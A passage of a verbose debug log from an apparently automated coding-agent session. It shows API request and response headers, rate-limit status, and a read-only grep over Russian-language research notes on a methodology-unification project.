[STDOUT]   },\n[2026-09-29T07:50:36.498Z] [STDOUT]   durationMs: 988,\n[2026-09-29T07:50:36.501Z] [STDOUT] }\n[2026-09-29T07:50:36.506Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:36.510Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:36 GMT\",\n[2026-09-29T07:50:36.520Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:36.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:36.528Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:36.540Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:36.544Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:36.549Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:36.555Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:36.559Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:36.563Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:36.567Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:36.571Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:36.576Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:36.582Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:36.587Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:36.589Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:36.592Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.595Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:36.599Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:36.603Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:36.606Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:36.615Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.625Z] [STDOUT]   \"request-id\": \"req_011CfXN9ed64dSDeyaz6DASL\",\n[2026-09-29T07:50:36.628Z] [STDOUT]   \"traceresponse\": \"00-dfbf38caa41c8e8f29c3bc268225d5c5-faf7e1443fb834dc-01\",\n[2026-09-29T07:50:36.633Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:36.638Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:36.643Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:36.650Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:36.653Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:36.655Z] [STDOUT]   \"cf-ray\": \"a42965d6dc9201ff-CDG\",\n[2026-09-29T07:50:36.657Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:36.659Z] [STDOUT] [log_ddbe00] response parsed {\n[2026-09-29T07:50:36.662Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:36.669Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:36.673Z] [STDOUT]   body: X {\n[2026-09-29T07:50:36.676Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:36.680Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:36.684Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:36.686Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:36.691Z] [STDOUT]     },\n[2026-09-29T07:50:36.699Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:36.709Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:36.722Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:36.730Z] [STDOUT]   },\n[2026-09-29T07:50:36.732Z] [STDOUT]   durationMs: 989,\n[2026-09-29T07:50:36.734Z] [STDOUT] }\n[2026-09-29T07:50:37.480Z] [INFO] {\n[2026-09-29T07:50:37.480Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"message\": {\n[2026-09-29T07:50:37.480Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"id\": \"msg_011CfXN9f7r19abYy6XzM647\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"content\": [\n[2026-09-29T07:50:37.480Z] [INFO]       {\n[2026-09-29T07:50:37.480Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"id\": \"toolu_018wJpf2C3WLjp6eyhfNnVpv\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"input\": {\n[2026-09-29T07:50:37.480Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; grep -rn \\\"32\\\" methodology-unification/00-introduction.md | head -5 | cut -c1-300\",\n[2026-09-29T07:50:37.480Z] [INFO]           \"description\": \"Verify 2 of 32 accepted-without-edits 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        \"ephemeral_1h_input_tokens\": 1362\n[2026-09-29T07:50:37.480Z] [INFO]       },\n[2026-09-29T07:50:37.480Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:50:37.480Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:37.480Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:37.480Z] [INFO]     },\n[2026-09-29T07:50:37.480Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:37.480Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:37.480Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:37.480Z] [INFO]   },\n[2026-09-29T07:50:37.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:37.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"uuid\": \"6f50d94e-9b82-4552-8ec0-35b41ad50c9e\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:37.440Z\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"request_id\": 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max_tokens: 128000,\n[2026-09-29T07:50:39.296Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:39.299Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:39.306Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:39.342Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:39.343Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:39.346Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:39.348Z] [STDOUT]     },\n[2026-09-29T07:50:39.350Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:39.353Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:39.355Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:39.361Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:39.365Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:39.367Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:39.374Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:39.377Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:39.380Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:39.383Z] [STDOUT]     },\n[2026-09-29T07:50:39.385Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:39.387Z] [STDOUT]   },\n[2026-09-29T07:50:39.389Z] [STDOUT]   headers: {\n[2026-09-29T07:50:39.394Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:39.403Z] [STDOUT]     \"anthropic-beta\": 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charset=utf-8\",\n[2026-09-29T07:50:40.295Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:40 GMT\",\n[2026-09-29T07:50:40.297Z] [STDOUT]     \"request-id\": \"req_011CfXN9wU72vK9gQXQAXQK3\",\n[2026-09-29T07:50:40.304Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:40.310Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:40.315Z] [STDOUT]     traceresponse: \"00-2e643ea504d491f64fd2e80e6039771a-eae73fe5d6dc8215-01\",\n[2026-09-29T07:50:40.327Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:40.335Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:40.343Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:40.348Z] [STDOUT]   },\n[2026-09-29T07:50:40.354Z] [STDOUT]   durationMs: 892,\n[2026-09-29T07:50:40.357Z] [STDOUT] }\n[2026-09-29T07:50:40.362Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:40.365Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:40 GMT\",\n[2026-09-29T07:50:40.367Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:40.369Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:40.371Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:40.373Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:40.375Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:40.377Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:40.378Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:40.380Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:40.382Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:40.384Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:40.385Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:40.387Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:40.388Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:40.389Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:40.391Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:40.392Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:40.393Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:40.395Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:40.396Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:40.398Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:40.400Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:40.401Z] [STDOUT]   \"request-id\": \"req_011CfXN9wU72vK9gQXQAXQK3\",\n[2026-09-29T07:50:40.403Z] [STDOUT]   \"traceresponse\": \"00-2e643ea504d491f64fd2e80e6039771a-eae73fe5d6dc8215-01\",\n[2026-09-29T07:50:40.405Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:40.407Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:40.408Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:40.410Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:40.416Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:40.420Z] [STDOUT]   \"cf-ray\": \"a42965ef4e2601ff-CDG\",\n[2026-09-29T07:50:40.425Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:40.429Z] [STDOUT] [log_7a6c87] response parsed {\n[2026-09-29T07:50:40.432Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:40.436Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:40.445Z] [STDOUT]   body: X {\n[2026-09-29T07:50:40.459Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:40.462Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:40.466Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:40.471Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:40.486Z] [STDOUT]     },\n[2026-09-29T07:50:40.497Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:40.502Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:40.504Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:40.507Z] [STDOUT]   },\n[2026-09-29T07:50:40.542Z] [STDOUT]   durationMs: 893,\n[2026-09-29T07:50:40.548Z] [STDOUT] }\n[2026-09-29T07:50:41.222Z] [INFO] {\n[2026-09-29T07:50:41.222Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:41.222Z] [INFO] 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\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u00ab6 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438\u00bb \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u043e\u0442\u0441\u0447\u0451\u0442\u0430 \u0434\u043b\u044f `B-133`? | \u0417\u0430\u0434\u0430\u0451\u0442 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u043a\u0430\u0441\u043a\u0430\u0434\u0430 |\\nmethodology-unification/30-decision-framework.md:138:   \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438, \u043f\u043e\u0440\u044f\u0434\u043a\u0430 **6 %** \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439\\nmethodology-unification/30-decision-framework.md:203:| `\u041a-4` | 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thread: [Object ...],\n[2026-09-29T07:50:42.789Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:42.791Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:42.795Z] [STDOUT]     },\n[2026-09-29T07:50:42.800Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:42.805Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:42.807Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:42.809Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:42.811Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:42.818Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:42.821Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:42.825Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:42.830Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:42.837Z] [STDOUT]     },\n[2026-09-29T07:50:42.848Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:42.856Z] [STDOUT]   },\n[2026-09-29T07:50:42.860Z] [STDOUT]   headers: {\n[2026-09-29T07:50:42.865Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:42.871Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:42.874Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:42.878Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:42.881Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:42.884Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:42.891Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:42.894Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:42.898Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:42.901Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1450\",\n[2026-09-29T07:50:42.907Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:42.911Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:42.917Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:42.925Z] [STDOUT]     \"x-client-request-id\": \"aa769fd3-19ab-4363-9b6c-25ba1d014a02\",\n[2026-09-29T07:50:42.930Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:42.937Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:42.949Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:42.956Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:42.962Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:42.967Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:42.974Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:42.979Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:42.982Z] [STDOUT]   },\n[2026-09-29T07:50:42.986Z] [STDOUT] }\n[2026-09-29T07:50:43.513Z] [STDOUT] [log_f6a61e, request-id: \"req_011CfXNACCNotG2DQoPDo5XS\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 789ms\n[2026-09-29T07:50:43.522Z] [STDOUT] [log_f6a61e] response start {\n[2026-09-29T07:50:43.546Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:43.573Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:43.576Z] [STDOUT]   headers: {\n[2026-09-29T07:50:43.580Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:43.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:43.589Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:43.593Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:43.596Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:43.599Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.607Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:43.614Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:43.622Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:43.632Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:43.636Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:43.641Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:43.653Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:43.657Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.661Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:43.672Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:43.677Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:43.679Z] [STDOUT]     \"cf-ray\": \"a42966051a1b01ff-CDG\",\n[2026-09-29T07:50:43.683Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:43.687Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:43.689Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:43.690Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:43.692Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:43 GMT\",\n[2026-09-29T07:50:43.695Z] [STDOUT]     \"request-id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:50:43.697Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:43.701Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:43.705Z] [STDOUT]     traceresponse: \"00-0015e2906e9a8dd472364d564262bb7b-07bf61f41bb19471-01\",\n[2026-09-29T07:50:43.709Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:43.710Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:43.723Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:43.752Z] [STDOUT]   },\n[2026-09-29T07:50:43.755Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:50:43.766Z] [STDOUT] }\n[2026-09-29T07:50:43.771Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:43.776Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:43 GMT\",\n[2026-09-29T07:50:43.779Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:43.790Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:43.802Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:43.807Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:43.809Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:43.811Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:43.837Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:43.850Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:43.860Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:43.867Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:43.870Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:43.874Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:43.876Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:43.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:43.882Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:43.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:43.901Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:43.913Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:43.965Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:43.981Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:43.992Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:44.009Z] [STDOUT]   \"request-id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:50:44.016Z] [STDOUT]   \"traceresponse\": \"00-0015e2906e9a8dd472364d564262bb7b-07bf61f41bb19471-01\",\n[2026-09-29T07:50:44.035Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:44.050Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:44.057Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:44.072Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:44.085Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:44.105Z] [STDOUT]   \"cf-ray\": \"a42966051a1b01ff-CDG\",\n[2026-09-29T07:50:44.128Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:44.169Z] [STDOUT] [log_f6a61e] response parsed {\n[2026-09-29T07:50:44.179Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:44.181Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:44.184Z] [STDOUT]   body: X {\n[2026-09-29T07:50:44.187Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:44.194Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:44.203Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:44.213Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:44.226Z] [STDOUT]     },\n[2026-09-29T07:50:44.232Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:44.240Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:44.247Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:44.254Z] [STDOUT]   },\n[2026-09-29T07:50:44.266Z] [STDOUT]   durationMs: 790,\n[2026-09-29T07:50:44.269Z] [STDOUT] }\n[2026-09-29T07:50:44.273Z] [INFO] {\n[2026-09-29T07:50:44.273Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:44.273Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:44.273Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:44.273Z] [INFO]   \"uuid\": 